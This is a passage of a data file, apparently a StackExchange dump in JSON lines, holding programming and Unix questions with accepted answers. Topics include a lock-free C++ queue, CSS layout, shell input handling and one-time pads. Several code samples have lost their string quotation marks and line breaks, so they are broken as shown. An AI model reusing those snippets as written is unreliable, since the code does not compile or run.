you think you are going to see exactly once?  They are useless for your report, but your memory is going to be flooded with them.You can probably get away with the heuristic that any tag that hasn't appeared in some reasonable time interval isn't going to be a top 10 tag.  Simplest tool in the box would likely be a cache with a reasonable eviction policy built into it.public Map<String, Integer> getTopHashtags(int maxNumberOfHashTags) {    Set<String> sortedSet = Multisets.copyHighestCountFirst(hashTags).elementSet();    Iterator<String> iterator = sortedSet.iterator();    Map<String, Integer> topTerms = new LinkedHashMap<String, Integer>();    for (int i = 0; i < maxNumberOfHashTags; i++) {        if (iterator.hasNext()) {            String term = iterator.next();            topTerms.put(term, hashTags.count(term));        } else {            break;        }    }    return topTerms;}Ow.  Look carefully at this code -- you are going to sort every hash tag you have in memory, and then crop away only the top N?  That's a lot of wear and tear on your CPU for a very small result.Now, if your requirement really is that you have to provide the top 1 billion hash tags on request, then you may be stuck.  But if the real number you need is in the ballpark of 10 or 100, then you should keep a running count going in memory, and hand out the latest snapshot as needed (which can be trimmed down if the caller doesn't need as many items as you provide).A PriorityQueue gets you a lot of the way there - it's a data structure that can tell you the minimum element in it in O(1) time.  A simple approach would be to scan all of your tags, and if the tag is larger than the current minimum, then remove the old minimum and offer the new tag -- the data structure knows how to order the new value correctly.Of course, scanning all of the tags each time somebody asks for the top 10 list may still be too expensive.  You might prefer to pre-calculate the top tags.  That's a fine idea, but you have to be a careful when the priority of an item already in the queue changes.  You can manage that by removing and re-inserting each object in the queue that updates.  The cost of that operation for queue size N is O(N), which shouldn't be a problem when N is 10 or 100.  You can get O(log(N)) performance if you feel up to writing your own Heap"  } 
{  "id": "_unix.297458"  , "question": "So basically I have a JS app that is inside a directory in /var/lib/app/.  To start this node app I execute a start script startapp.sh from inside the directory. Now I need it to start at boot time, so I created an upstart job in my Ubuntu server inside /etc/init and gave the absolute path of the startapp.sh, to get trigger at boot time.But whenever I try to execute any script that triggers startup.sh, it fails to start as it depends on an activator file to start, which is inside the /var/lib/app/ directory. I have exported the path in .bashrc, but still I am unable to execute the job from anywhere in Ubuntu server, except the /var/lib/app/ directory.How can I execute a shell script from anywhere on my server?"  , "title": "How to execute a shell script from anywhere on my server?"  , "tags": "shell script;command line"  } 
{  "id": "_unix.226009"  , "question": "I am using the following commands after setting the color scheme to make my vim transparent:highlight Normal ctermbg=nonehighlight NonText ctermbg=nonehighlight SpecialKey ctermbg=noneHowever, when editing tex(latex) files (with the vimtex plugin installed) I still get a background for some tokens: As you can see for example the token 12pt or \\date has a background. What else do I need to add to remove this background?"  , "title": "Not all Vim Text Transparent"  , "tags": "vim;vimrc"  } 
{  "id": "_unix.331165"  , "question": "Hello, I am trying to recover unallocated space in my flash drive. I'm not quite sure how it got to this point. I have tried the following commands:resize2fssudo resize2fs /dev/sdc1resize2fs 1.42.13 (17-May-2015)The filesystem is already 1011875 (4k) blocks long.  Nothing to do!badblocksudo resize2fs /dev/sdc1resize2fs 1.42.13 (17-May-2015)The filesystem is already 1011875 (4k) blocks long.  Nothing to do!When I use Check in gparted, nothing happens.How can I recover the space on my flashdrive? Sorry for the poor formatting, still learning... "  , "title": "Unallocated space in empty flash drive"  , "tags": "ubuntu;flash memory"  } 
{  "id": "_codereview.124323"  , "question": "I made a basic website to practice HTML and CSS that will display 3 fruits with their given scores in an Olympic podium sort of way.Have I used any bad practices and what I should do instead?What can I do to fully optimize and shorten my code?How readable is my code? How can I make it more readable?<html><head>    <link href='https://fonts.googleapis.com/css?family=Lato' rel='stylesheet' type='text/css'>    <style>        .bronze {            transform: scale(0.75);        }        .bronze span {            background-color: #CD7F32;        }        .gold span {            background-color: #FFD700;        }        .silver {            transform: scale(0.75);        }        .silver span {            background-color: #C0C0C0;        }        body {            background-color: #AAFF00;        }        caption {            color: #000000;            font-family: 'Lato', sans-serif;            font-size: 50px;        }        span {            border: 1px solid;            color: #000000;            font-family: 'Lato', sans-serif;            font-size: 25px;            padding: 12.5px;            position: relative;            top: -25px;        }        table {            border-collapse: collapse;            margin: auto;            text-align: center;        }        td {            padding-bottom: 50px;            padding-top: 50px;        }    </style></head><body>    <table>        <caption>Highest Fruit Score: <b>83</b></caption>        <tr>            <td class=silver><img src=http://i.imgur.com/LGuyqx6.png><br/><span>65</span></td>            <td class=gold><img src=http://i.imgur.com/uBDRMVu.png><br/><span>83</span></td>            <td class=bronze><img src=http://i.imgur.com/eOsWQe5.png><br/><span>34</span></td>        </tr>    </table></body></html>"  , "title": "Fruit score leaderboard"  , "tags": "html;css"  , "accepted_answer": "HTMLYour HTML should have a DOCTYPE declaration.  Nowadays, the HTML 5 doctype (<!DOCTYPE html>) is considered standard practice.You should always declare a charset, and the charset should be UTF-8.  The <title> element is required.In an <img> tag, the alt attribute is considered mandatory, and in this case there are very obviously appropriate descriptions to assign to each image.You are using a <table> to do the layout, for content which is not semantically tabular.  This is considered vulgar in HTML: the document should represent the meaning, and the layout should be performed using CSS.  (The user agent might not be a typical graphical browser; it might be a screen reader for the sight-impaired.)  The semantically appropriate element to use should be an <ol> ordered list.  The fruits should be listed in first, second, and third place in the document.CSSFor ease of maintenance, avoid repeating declarations.  For example, you can set the font-family just once on an ancestor element.  Also, you can write the transform: scale(0.75) declaration just once, using a .silver, .bronze selector.How can we change the display order using CSS?  Using the CSS order property would be really nice, but it relies on CSS flex boxes, which is a newer feature.body {    background-color: #AAFF00;    font-family: 'Lato', sans-serif;    text-align: center;}div.fruits {    display: inline-block;    width: auto;}div.fruits p {    margin-top: 0;    color: #000000;    font-size: 50px;}div.fruits p span.score {    font-weight: bold;}ol, li { /* CSS reset: make lists not work like lists */    list-style: none;    margin: 0;    padding: 0;}ol {    display: flex;}li {    display: inline-block;}li.silver {    order: -1;}.silver, .bronze {    transform: scale(0.75);}li img {    display: block;}li span.score {    position: relative;    top: -25px;    border: 1px solid black;    padding: 12.5px;    font-size: 25px;}li.gold .score {    background-color: gold;}li.silver .score {    background-color: silver;}li.bronze .score {    background-color: #CD7F32;}<!DOCTYPE html><html><head>    <meta charset=UTF-8>    <title>Top three fruits</title>    <link rel='stylesheet' type=text/css href='https://fonts.googleapis.com/css?family=Lato'></head><body>    <div class=fruits>        <p>Highest Fruit Score: <span class=score>83</span></p>        <ol>            <li class=gold><img alt=banana src=//i.imgur.com/uBDRMVu.png> <span class=score>83</span></li>            <li class=silver><img alt=apple src=//i.imgur.com/LGuyqx6.png> <span class=score>65</span></li>            <li class=bronze><img alt=raspberry src=//i.imgur.com/eOsWQe5.png> <span class=score>34</span></li>        </ol>    </div></body></html>For compatibility, we can resort to using floats to put the silver element on the left.  A very unfortunate consequence of that hack is that the width of the list needs to be hard-coded to help position the floats properly.body {    background-color: #AAFF00;    font-family: 'Lato', sans-serif;    text-align: center;}div.fruits {    margin-left: auto;    margin-right: auto;    width: 750px; /* Unfortunately hard-coded width */}div.fruits p {    margin-top: 0;    text-align: center;    color: #000000;    font-size: 50px;}div.fruits p span.score {    font-weight: bold;}ol, li { /* CSS reset: make lists not work like lists */    list-style: none;    margin: 0;    padding: 0;}li {    display: inline-block;    width: 250px;}.silver, .bronze {    transform: scale(0.75);}/* Change the display order to silver-gold-bronze */li.silver {    float: left;}li.bronze {    float: right;}ol:after {    clear: both;}li span.score {    position: relative;    top: -25px;    border: 1px solid black;    padding: 12.5px;    font-size: 25px;}li.gold .score {    background-color: gold;}li.silver .score {    background-color: silver;}li.bronze .score {    background-color: #CD7F32;}<!DOCTYPE html><html><head>    <meta charset=UTF-8>    <title>Top three fruits</title>    <link rel='stylesheet' type=text/css href='https://fonts.googleapis.com/css?family=Lato'></head><body>    <div class=fruits>        <p>Highest Fruit Score: <span class=score>83</span></p>        <ol>            <li class=gold><img alt=banana src=//i.imgur.com/uBDRMVu.png> <span class=score>83</span></li>            <li class=silver><img alt=apple src=//i.imgur.com/LGuyqx6.png> <span class=score>65</span></li>            <li class=bronze><img alt=raspberry src=//i.imgur.com/eOsWQe5.png> <span class=score>34</span></li>        </ol>    </div></body></html>"  } 
{  "id": "_unix.39904"  , "question": "I installed catalyst, so I needed to downgrade to xorg-server-1.11 from xorg-server-1.12. Now I use the [xorg111] repo and I understood that because of the udev, which works for the new xorg-server I have to recompile it. I don't really know how to recompile it so it works with it.Q: How do I do the manual compilation?Here is the thread in Arch forum if this helps."  , "title": "How to recompile my xorg-server in ArchLinux"  , "tags": "xorg;arch linux;compiling"  , "accepted_answer": "Solution A: use ARMFind and download proper packages here (also dependencies) , and use pacman -U XX.xz to rollbackhttp://arm.konnichi.com/search/index.php?a=32&q=xorg-server&core=1&extra=1&community=1Solution B:  bulid from sourceClone this repository:git://pkgbuild.com/aur-mirror.gitAnd find the old version of package you need , and use makepkg to build the Arch package , and install them with pacman -U XX.xzGet ready for damaging your system ;-P"  } 
{  "id": "_codereview.90697"  , "question": "I'm implementing a lock-free, multiple consumer, multiple producer FIFO queue/pipe as an exercise in thinking about atomicity in operations.My main concern is correctness of operation, my second concern is good practices around atomics and general C++11. Performance is interesting but not important for this exercise.Without futher ado, here's the code:#include <atomic>#include <exception>// For dump#include <iostream>#include <string>/// <summary> A lock free queue implementation./// /// Design notes: Here be dragons. The queue is implemented as a single linked /// list with a head, divider and tail pointer. These are always ordered such /// that head -> divider -> tail and are always non-null. The divider's next/// pointer points to the first node with data or is null. In other words, this/// means that divider == tail -> empty container. Nodes between head and /// divider are empty and will be freed lazily. </summary>////// <remarks> * Thread Safety   : Full./// * Exception Safety: Basic. </remarks>////// <tparam name=T> Generic type parameter. </tparam>template<typename T>class lockfree_queue{    struct link;    using link_ptr = std::atomic < link* > ;    struct link{        link() noexcept = default;        link(const link&) = delete;        link& operator = (const link&) = delete;        link_ptr m_next{ nullptr };    };    struct node : link{        template<typename... Args>        node(Args&&... args)            : m_data(std::forward<Args>(args)...)        {}        T m_data;    };public:    using size_type = std::size_t;    using value_type = T;    /// <summary> Destructor, it's the users responsibility to make sure that     ///           no one uses the class after it's destruction and that no     ///           thread is in any of the function bodies. </summary>    ~lockfree_queue(){        free_nodes(m_head.m_next.load());    }    /// <summary> Tests if this container is empty. This operation only makes    ///           sense if there is only one thread reading/consuming the queue.    ///           </summary>    /// <returns> True if the queue is empty, false otherwise. </returns>    bool empty() const noexcept{        return m_divider.load() == m_tail.load();    }    /// <summary> Gets the instantaneous number of elements in the queue.     ///           Mostly useful as a debug probe to monitor the queue size.     ///           </summary>    /// <returns> The number of elements in the queue. </returns>    size_type size() const noexcept{        return m_size;    }    /// <summary> Emplaces a new node on the queue. If the construction of the     ///           data throws, the queue is unmodified. </summary>    /// <tparam name=Args> Type of the arguments. </tparam>    /// <param name=args> Variable arguments providing the arguments to     ///                     construct the data with.</param>    template<typename... Args>    void emplace(Args&&... args){        auto l_new_node = new node(std::forward<Args>(args)...);        // m_tail->m_next can have two states:        // 1) It's non-null, means an insertion is in progress but has not bee completed.        // 2) It's null, means no insertion is in progress.        // m_tail->m_next will only be written from this function.        // This loop does a CAS with m_tail->m_next to see if it is null and if it is it        // inserts the new node. At which point any concurrent push will retry until (3)        // below completes.        link* l_null = nullptr;        while (!m_tail.load()->m_next.compare_exchange_weak(l_null, l_new_node));        m_tail = l_new_node; // 3) Commit/publish the new tail.        m_size++;    }    void dump(){        auto n = &m_head;        while (n != nullptr) {            std::string special = ;            if (n == m_divider.load())                special += D;            if (n == m_tail.load())                special += T;            std::cout << [( << special << );            if (n != &m_head)                std::cout << \\ << static_cast<node*>(n)->m_data << \\;            else                std::cout << sentinel;            std::cout << ( << n << )] -> ;            n = n->m_next.load();        }        std::cout << [null] << std::endl;    }    /// <summary> Consumes one item from the queue. The item is move assigned     ///           to result. If the assignment throws, the queue is will have    ///           dropped consumed item but is otherwise unmodified. </summary>    /// <param name=result> [in,out] The result. </param>    /// <returns> An auto. </returns>    bool consume(T& result){        link* l_divider = nullptr;        link* l_snack = nullptr;        // Try to temporarily unlink the head if it is not already unlinked and        // it's not the divider        auto l_head = m_head.m_next.load();        if (l_head == nullptr || &m_head == m_divider.load() ||             !m_head.m_next.compare_exchange_strong(l_head, nullptr)){            l_head = nullptr; // We didn't get to unlink the head this time.        }        do{            // The divider's next pointer points to the next node with data.            l_divider = m_divider.load();            l_snack = l_divider->m_next.load(); // divider is never null.            if (nullptr == l_snack)                return false; // empty            // If the CAS below succeeds, then no one has moved the divider since            // we loaded the new divider position (which is non-null) and we have            // moved the divider to the next node without interruption.        } while (!m_divider.compare_exchange_weak(l_divider, l_snack));        m_size--;        try{            result = std::move(static_cast<node*>(l_snack)->m_data);            cleanup_pop(l_head, l_divider);        }        catch (...){            cleanup_pop(l_head, l_divider);            std::rethrow_exception(std::current_exception());        }        return true;    }private:    void free_nodes(link* from, link* up_until = nullptr) noexcept {        assert(from != &m_head);        while (from != up_until){            auto next = from->m_next.load();            // All links but the head are nodes, necessary to destroy data.            delete static_cast<node*>(from);            from = next;        }    }    void cleanup_pop(link* l_head, link* l_divider) noexcept {        if (l_head){            // The head has been unlinked by us and we are the only ones             // with a handle to the detached head. We can now safely free            // all nodes from the detached head up until the divider.            auto new_divider = l_divider->m_next.load();            free_nodes(l_head, new_divider);            // Oh, and re-link the head            m_head.m_next = new_divider;        }    }    link m_head;    link_ptr m_divider{ &m_head };    link_ptr m_tail{ &m_head };    std::atomic<size_type> m_size{ 0 };};int main(){    lockfree_queue<double> q;    assert(true == q.empty());    assert(0 == q.size());    q.dump();    q.emplace(0);    q.dump();    q.emplace(1);    q.dump();    q.emplace(2);    q.dump();    q.emplace(3);    q.dump();    double ans;    q.consume(ans);    q.dump();    assert(ans == 0);    q.consume(ans);    q.dump();    assert(ans == 1);    q.consume(ans);    q.dump();    assert(ans == 2);    q.consume(ans);    q.dump();    assert(ans == 3);    q.emplace(3.14);    q.dump();    q.consume(ans);    q.dump();    assert(ans == 3.14);}I'm also interested in if anyone has some ideas on good test cases for the correctness under concurrency."  , "title": "Lock-free, multiple consumer, multiple producer queue"  , "tags": "c++;c++11;queue;lock free"  , "accepted_answer": "ABA problemI was able to break your queue (but it wasn't easy).  I inserted some code to freeze one thread here in consume():    do{        // The divider's next pointer points to the next node with data.        l_divider = m_divider.load();        l_snack = l_divider->m_next.load(); // divider is never null.        if (nullptr == l_snack)            return false; // empty        // Special hack to freeze one thread at a dangerous spot.        if (freeze) {            freeze = 0;            frozen = 1;            while (frozen);        }        // If the CAS below succeeds, then no one has moved the divider since        // we loaded the new divider position (which is non-null) and we have        // moved the divider to the next node without interruption.    } while (!m_divider.compare_exchange_weak(l_divider, l_snack));At this point, one thread was trying to move the divider from A to B like this:divider(A) -> B -> C -> D    trying to swap A with B to end up like this:divider(B) -> C -> DSo the thread was frozen with l_divider being A and l_snack being B.Then I ran another thread and caused it to consume the whole queue (ABCD all freed).  In that other thread, I used emplace() to put new nodes on the stack, and I carefully manipulated the allocator to force this situation:divider(A) -> C -> DWhen I say I manipulated the allocator, I mean I did an extra allocation to make sure that B was skipped.  At that point, I set frozen = 0 to unfreeze the first thread.  What happened was that it swapped A with B like this:divider(B) -> ?But of course B was no longer part of the queue.  So after that, any future consumes were broken.  I actually made B point at itself, so the consumes kept consuming B forever.This problem is known as the ABA problem in case you have not already learned about it."  } 
{  "id": "_cs.32931"  , "question": "I don't understand how to work backwards to work out a truth table that has been filled out already (I don't know the logical operators). E.gP | Q | Output1 | 1 | 11 | 0 | 00 | 0 | 00 | 1 | 0I need to find the logical operators and connectives (and, or, not, implies etc.) that is equivalent to the output.Please guide me through the steps or teach me how to work out how to do this. Thanks."  , "title": "Working out the connectives (And, Or, Not) in a Truth Table that has the outputs"  , "tags": "algorithms;logic"  } 
{  "id": "_unix.127757"  , "question": "I'm not able to ls on a folder that I have just transferred from win7 to OSX via a FAT32 drive.  I don't know how to search for an answer for this issue.  I've attempted the following:sudo chmod u=rwx myfolder/sudo chmod a+rx myfolder/...to no avail.I have found that sudo ls seems to work. Why would this be?"  , "title": "`ls` fails for directory copied from Win and OSX"  , "tags": "permissions;directory;ls"  , "accepted_answer": "wow, i would have never thought this could happen, but turns out that there was a file in that directory named 'ls' without an extension, so it was overriding the sys default while i was in that directory and running ls via the cwd's supposed executable of it.a rare and embarrassing case, but true and not completely obvious while attempting to troubleshoot.  i suppose this is one of the oldest issues in the book."  } 
{  "id": "_webapps.41041"  , "question": "Is there a way to get Google Calendar to show my whole day? I don't want to scroll up and down. I want one click to see everything. Is there a way to lock the view to 7am to 9pm or something like that?"  , "title": "Google Calendar view whole day at once"  , "tags": "google calendar"  , "accepted_answer": "How about the Hide morning and night Lab?How often do you have something scheduled at 3am? What about 10pm? If the answer is almost never, you might want to try out the Hide morning and night lab in Google Calendar.With a simple drag of a slider you can fold all those empty hours into a single row to set the time range you want to hide. The folded rows still show all your events, just in more compact form.It may not completely remove any scrolling but, depending on how big your browser window is, should reduce it significantly."  } 
{  "id": "_softwareengineering.69892"  , "question": "Almost every advanced programmer says that it's very useful to read the code of other professionals. Usually they advice open source. Do you read it or not? If you do, how often and what's the procedure of reading the code? Also, it's a bit difficult for newbies to deal with SVN - a bunches of files. What's the solution?"  , "title": "How do you read other's code?"  , "tags": "open source;source code;svn"  , "accepted_answer": "Do you read it or not? Yes.If you do, how often Daily.  Constantly.  I work with numerous open-source projects (mostly Python-related) and must read the source because it's the most accurate documentation.and what's the procedure of reading the code? Um.  Open and Read.Also, it's a bit difficult for newbies to deal with SVN - a bunches of files. What's the solution?Open and Read.  Then read more.It's not easy.  Nothing makes it easy.  There's no Royal Road to understanding.  It takes work."  } 
{  "id": "_unix.171209"  , "question": "I'm trying to read user input char by char, silently, as follows:while [ 1 ]; do  read -s -N 1  ...doneWhile this loop works perfectly using VNC (xterm), it works only partially using putty (xterm) or a Linux terminal, and most of other text terminals.The problem is encountered when I become wild with the keyboard and striking multiple keys at the same time, and than some of the keys are echoed despite of the -s mode.I've also tried to redirect output and stty -echo. while the first did not make any difference, the latter would be somehow helpful, minimizing the echos to be less frequent, but not perfect.Any Ideas?"  , "title": "Reading char-by-char silently does not work"  , "tags": "bash;terminal;terminal emulator;read"  , "accepted_answer": "read -s disables the terminal echo only for the duration of that read command. So if you type something in between two read commands, the terminal driver will echo it back.You should disable echo and then call read in your loop without -s:if [ -t 0 ]; then  saved=$(stty -g)  stty -echofiwhile read -rN1; do  ...doneif [ -t 0 ]; then  stty $savedfi"  } 
{  "id": "_softwareengineering.348171"  , "question": "When designing a framework API is it better to have something that accepts Promises  or have executor functions and have the framework build the promises when needed.The Promise API is defined by the syntax:new Promise( /* executor */ function(resolve, reject) { ... } );I have tried both and I am leaning towards having framework users implement a function(resolve, reject) to do their data retrievals.  I am thinking that I cannot really reuse a promise once it has been resolved so if I wanted to do a reload of the data I would need to re-execute the executor function."  , "title": "Framework accepts Promises or executor functions"  , "tags": "javascript;api design;promises"  } 
{  "id": "_codereview.60629"  , "question": "Given a list of Players with score, I want to find the ones with the highest score. There can be multiple players with the same score. I'm doing it like this now:class Player {    final String name;    final int score;    Player(String name, int score) {        this.name = name;        this.score = score;    }}class PlayerComparatorByScore implements Comparator<Player> {    @Override    public int compare(Player o1, Player o2) {        return -Integer.compare(o1.score, o2.score);    }}class PlayerUtil {    static Collection<Player> getHighestScoringPlayers(Collection<Player> players) {        List<Player> sortedPlayers = new ArrayList<>(players);        Collections.sort(sortedPlayers, new PlayerComparatorByScore());        Set<Player> highestScoringPlayers = new HashSet<>();        Iterator<Player> iterator = sortedPlayers.iterator();        Player highestScoringPlayer = iterator.next();        highestScoringPlayers.add(highestScoringPlayer);        while (iterator.hasNext()) {            Player player = iterator.next();            if (player.score == highestScoringPlayer.score) {                highestScoringPlayers.add(player);            } else {                break;            }        }        return highestScoringPlayers;    }}public class PlayersSortedByScoreTest {    @Test    public void testSortingByScore() {        Collection<Player> players = new HashSet<>();        players.add(new Player(Alice, 3));        players.add(new Player(Bob, 1));        players.add(new Player(Mike, 3));        Collection<Player> highestScoringPlayers = PlayerUtil.getHighestScoringPlayers(players);        assertEquals(2, highestScoringPlayers.size());        assertEquals(3, highestScoringPlayers.iterator().next().score);    }}So this is pretty awkward... Is there a better way?"  , "title": "Finding the Players with the highest score"  , "tags": "java"  , "accepted_answer": "This is a terrible approach. Sorting the list (an \\$O(n \\log(n)\\$) step) and then iterating through it (an \\$O(n)\\$ operation) to collect the highest scoring players is simply inefficient.Instead, just iterate through the list in this way:List<Player> playersList = new ArrayList<>(players);Set<Player> highestScoringPlayers = new HashSet<>();int maxScore = Integer.MIN_VALUE;for (Player player : playersList) {    maxScore = Math.max(maxScore, player.score)}for (Player player : playersList) {    if (player.score == maxScore) {        highestScoringPlayers.add(player);    }}return highestScoringPlayers;This uses 2 loops and the minimal amount of space (just enough for the original list and the highest scorers) and so is \\$O(n)\\$, which is better than your \\$O(n \\log(n))\\$ solution.If you would like to only use 1 loop, at the cost of some additional overhead here is the code:List<Player> playersList = new ArrayList<>(players);Set<Player> highestScoringPlayers = new HashSet<>();int maxScore = Integer.MIN_VALUE;for (Player player : playersList) {    if (player.score >= maxScore) {        if (player.score > maxScore) {            maxScore = player.score;            highestScoringPlayer.clear();        }        highestScoringPlayer.add(player);    }}    "  } 
{  "id": "_softwareengineering.242657"  , "question": "Say Alice and Peter each have a 4GB USB flash memory stick. They meet and save on both sticks two files named alice_to_peter.key (2GB) and peter_to_alice.key (2GB) which contain randomly generated bits. They never meet again, but communicate electronically. Alice also maintains a variable called alice_pointer and Peter maintains variable called peter_pointer, both of which are initially set to zero.When Alice needs to send a message to Peter, she does (where n is the nth byte of the message):encrypted_message_to_peter[n] = message_to_peter[n] XOR alice_to_peter.key[alice_pointer + n]encrypted_payload_to_peter = alice_pointer + encrypted_message_to_peteralice_pointer += length(encrypted_message_to_peter)(and for maximum security, the used part of the key can be erased)Peter receives encrypted_payload_to_peter, reads alice_pointer stored at the beginning of message and does:message_to_peter[n] = encrypted_message_to_peter[n] XOR alice_to_peter.key[alice_pointer + n]And for maximum security, after reading of message also erase the used part of the key.- EDIT: In fact this step with this simple algorithm (without integrity check and authentication) decreases security, see Palo Ebermann post below.When Peter needs to send a message to Alice they do the reverse, this time with peter_to_alice.key and peter_pointer.With this trivial schema they can send each day for the next 50 years 2GB / (50 * 365) = ~115kB of encrypted data in both directions. If they need more data to send, they could use larger keys, for example with today's 2TB HDs (1TB keys) it would be possible to exchange 60MB/day for the next 50 years! That's a lot of data in practice; for example, using compression it's more than hour of high quality voice communication.It seems to me that there is no way for an attacker to read the encrypted messages without the keys, because even if they have an infinitely fast computer, with brute force they can get every possible message under the limit, but this is an astronomical number of messages and the attacker doesn't know which of them is the actual message.Am I right? Is this communication scheme really absolutely secure? And if it is secure, does it have its own name? XOR encryption is well-known, but I'm looking for the name of this concrete practical application using large keys on both sides? I am humbly expecting that this application has been invented someone before me. :-)Note: If it's absolutely secure then it's amazing, because with today's low cost large storage devices, it would be much cheaper to do secure communication than with expensive quantum cryptography, and this has equivalent security!EDIT:I think this will be more practical in the future as storage costs decrease. It can solve secure communication forever. Today you have no certainty if someone successfully attacks existing ciphers even a year later and makes its often expensive implementations insecure. In many cases before communication occurs, when both sides meet personally, that's the time to generate the keys. I think it's perfect for military communication, for example between submarines which can have HDs with large keys, and military central can have a HD for each submarine. It could also be practical in everyday life, for example to control your bank account, because when you create your account you meet with the bank etc."  , "title": "Is this simple XOR encrypted communication absolutely secure?"  , "tags": "communication;encryption"  , "accepted_answer": "Yes, this is a One-time pad. If the key material is never re-used, it is theoretically secure.The downsides are that you would need one key per communicating pair of principals and you would need a secure way of exchanging the key material in advance of communicating."  } 
{  "id": "_webmaster.67863"  , "question": "I've reviewed other questions and answers, but none fit my use case. Frankly, I'm not even sure if I'm asking the right question.Here's my scenario: I work for an organization that is in the process of rewriting their website.Let's assume we want to list a phonebook with some entries on a web page. There is a phonebook component, designed in JavaScript and uses Handlebars as templates. Using grunt it is all uglified, concatenated, and minified in one file called phonebook.js. The way it works is this:Content editor opens up the page where s/he wants to insert the phonebook. All that person has to do is open the CMS HTML editor and insert this:<div class=phonebook-component></div>And that's it.Now, what happens is that there's a global.js file that's loaded with every page. This script recognizes any class names that end with -component. When it recognizes the component, it makes a sync call to load the phonebook.js. The component is inserted, and it looks wonderful. The problem is probably obvious. When you look up at the source code, there where the source code should be is just hat div tag I mentioned. This is what crawlers see too. My question is: how can I make this crawlable? Is there any way? All my searches so far resulted in answers like oh, this is how you make your AJAX SPAs crawlable. "  , "title": "SEO for dynamically inserted content?"  , "tags": "seo;javascript"  } 
{  "id": "_unix.128674"  , "question": "I need help figuring out how to input my data to bsqldb. I have been looking for a manual or some examples or tutorial but I cant find anything online beside its command line help.I am planning to pass my data to bsqldb from within a bash script using a variable using this command:/usr/bin/bsqldb -S servername -U username -P password <<< ${VARIABLE}$VARIABLE will contain data organized in this manner:USE databasenamecustomsqlfunction ('param1','param2','param3','param4','param5')customsqlfunction ('param1','param2','param3','param4','param5')customsqlfunction ('param1','param2','param3','param4','param5')customsqlfunction ('param1','param2','param3','param4','param5')The sql server im connecting to is a MSSQL 2008 and it seems to be running TDS v 7.1 (which seems weird... read everywere 2008 is suposed to be on 7.2 but the tds tools keep saying its downgrading the protocol to 7.1 when i connect... but that is another issue)Thanks for your help."  , "title": "What is the format of the data that must be fed to the freetds tool bsqldb?"  , "tags": "shell script;sql"  , "accepted_answer": "I managed to test this and figured it out.Here is the proper way to structure the data contained in the variable you will send to bsqldb:MyVariable=select @@servername$'\\n'select @@language$'\\n'select @@versionAs you see each sql commands sent to bsqldb must be on a separate line. This is where \\n comes in, it represents the newline or linefeed character. The rest select @@servername for example, are the actuall SQL commands.Here is what bsqldb will see when I feed it $MyVariable from above:select @@servernameselect @@languageselect @@versionUsually you need to send a GO command to execute a series or batch of commands but as the Freetds userguide points out in chapter 6 Use Freetds the last batch of commands sent to bsqldb doesn't need to be followed by GO to be executed, it will run automatically. I also confirmed that at the end of your cmd list, in contrary to tsql, the EXIT command is not required to close the connection to the server. It exits automatically once it reached the end of your cmd list.Now that we have our variable figured out, we can feed it to bsqldb from within a bash script using this syntax:/usr/bin/bsqldb -S servername -U username -P password <<< $MyVariableEnjoy.    "  } 
{  "id": "_unix.132426"  , "question": "I have an XML files to read and load into database daily at night (cron)So i planed to do this in a batch.Is there any command line tool to :1. Create a postgres schema using an XSD file?2. Transform an XML file into SQL commands for postgres?Any other solution is welcome."  , "title": "XML command line tool postgres"  , "tags": "bash;cron;xml;database"  , "accepted_answer": "You can generate SQL commands to import your file using xmlstarlet.Here is an example."  } 
{  "id": "_softwareengineering.298249"  , "question": "Given that SAP modules are architected and managed by SAP itself.However, small changes are possible at the customer's end.How can an ABAPer on the client's side take the role of an architect at SAP that designs SAP modules? So what does an architect at the client's side have left to do?"  , "title": "Role of an architect in SAP ABAP or SAP BI projects"  , "tags": "sap;abap"  , "accepted_answer": "Given that SAP modules are architected and managed by SAP itself.This is only partially true. The large system design is done by SAP. However many organizations have custom implementations of some sort.There are often required changes, whether small or large, that fit business applications into SAP. Or custom requirements for the business applications which are caused by SAP.In an ideal world, you could easily just fit your applications that the business is developing (whether SAP transactions or a system feeding SAP). That process takes a fair bit of architecting.However, small changes are possible at the customer's end.You are (likely) kidding yourself if every customer implementation is identical. Unless someone is starting a business from nothing, where they can design their business around SAP's system.Someone needs to make sure that the SAP design is correct. Understanding how pieces fit together.How can an ABAPer on the client's side take the role of an architect at SAP that designs SAP modules? So what does an architect at the client's side have left to do?So, the key piece is understanding how everything fits together. An ABAPer might understand this - but might have a very limited scope of experience. A good architect will have enough experience to see how pieces fit together, so when decisions are required, they can properly evaluate and identify the right decisions - and make them.It is likely that an ABAPer on the client will not have this experience/broad system understanding. If they do, then that's great, but likely they will not.An architect should be doing design types of work - not implementation work. An ABAPer is responsible more for implementation."  } 
{  "id": "_unix.203965"  , "question": "I seem to be unable to automount nfsv4 shares in FreeBSD 10.1.All of my mounting information is stored in an LDAP database and the shares are on a NFSv4 server.I've gotten the mapping right so that if I do automout -L (shown below) I get the correct mapping; however, I can't seem to see where I would pass in -o nfsv4. /home/user                             nfs:/user      # indirect map referenced at +auto.home:1If I edit /etc/autofs/include to try and pass in an option there, autofs doesn't seem to understand what to do with that information.Any ideas on what else to try?"  , "title": "Passing automount options in FreeBSD"  , "tags": "freebsd;nfs;autofs"  } 
{  "id": "_softwareengineering.121831"  , "question": "I want my scribbles of a program's design and behaviour to become more streamlined and have a common language with other developers.I looked at UML and in principle it seems to be what I'm looking for, but it seems to be overkill. The information I found online also seems very bloated and academic.How can I understand UML in plain-English way, enough to be able to explain it to my colleagues? What are the canonical resources for understanding UML at a ground level?"  , "title": "What are the essential things one needs to know about UML?"  , "tags": "design;uml"  , "accepted_answer": "Liked the questions - same ones as I've asked myself:How can I understand UML in plain-English way, enough to be able to  explain it to my colleagues? What are the canonical resources for  understanding UML at a ground level?Here is what I have found:For a kick-start: my choice would be Fowlers UML Distilled.It really is a distillation of the basics, as has been mentioned: definitions, examples, advice on when a certain type of diagram should or should not be used. It is also a good reference, if you want to focus on a certain part of UML without reading the book cover-to-cover.For a more detailed, yet plain-English introduction: UML 2 for Dummies has done for my colleagues and me.It not only introduces UML, its syntax and uses at length, but has a lot of advice on good programming and design practices.There are occasional differences between the two books on what syntax belongs to which version of the UML standard. These however are minute and definitely not essential for using UML diagrams to communicate design ideas.(For example: whether UML 2 allows discrete multiplicities, i.e. showing that a certain property may have exactly X, Y or Z objects, rather than just zero, one, many or more than X, say; when participants names should be underlined...)For a totally non-academic and less wordy introduction: this blog has articles on various bits of UML:http://blog.diadraw.com/category/uml/It's not a textbook, so is far from exhaustive, but also uses non-textbook stories and examples, which are relatable to. The few available posts are focused on introducing UML concepts visually, so you can skip the reading of the text altogether."  } 
